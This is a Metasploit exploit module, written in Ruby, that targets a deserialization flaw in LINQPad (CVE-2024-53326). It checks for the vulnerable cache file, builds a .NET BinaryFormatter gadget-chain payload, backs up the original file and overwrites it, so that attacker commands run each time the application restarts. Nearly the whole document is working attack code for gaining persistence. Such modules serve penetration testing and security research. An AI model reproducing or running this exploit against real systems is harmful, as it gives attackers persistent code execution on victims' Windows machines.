Path: blob/master/modules/exploits/windows/persistence/linqpad_deserialization.rb
32323 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html78# includes file?, directory?9include Msf::Post::File10include Msf::Exploit::Local::Persistence1112# includes generate13include Msf::Util::DotNetDeserialization14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'LINQPad Deserialization',21'Description' => %q{22This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.23},24'License' => MSF_LICENSE,25'Author' => [26'msutovsky-r7 <[email protected]>',27'James Williams' # original research28],29'Platform' => 'win',30'SessionTypes' => [ 'shell', 'meterpreter' ],31'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],32'Privileged' => true,33'References' => [34['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],35[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],36[ 'CVE', '2024-53326']37],38'DisclosureDate' => '2024-12-03',39'DefaultTarget' => 0,40'Notes' => {41'Stability' => [CRASH_SAFE],42'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],43'SideEffects' => [ARTIFACTS_ON_DISK]44}45)46)47register_options([48OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),49])50end5152# Simplify pulling the writable directory variable5354def check55if !directory?(datastore['Cache_path'])56return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')57elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')58return Exploit::CheckCode::Unknown('Cannot find cache file')59elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')60return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')61else62return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable')63end64end6566def install_persistence67# generate payload68vprint_status('Create deserialization payload')6970dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(71payload.encoded, # this is the Operating System command to run72gadget_chain: :TextFormattingRunProperties,73formatter: :BinaryFormatter74)75vprint_status('Saving the original content')76cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat')77backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup')78vprint_status("Saved at: #{backup_conf_path}")7980@clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat"8182vprint_status('Overwriting file')83# try to overwrite cache file84fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)85end86end878889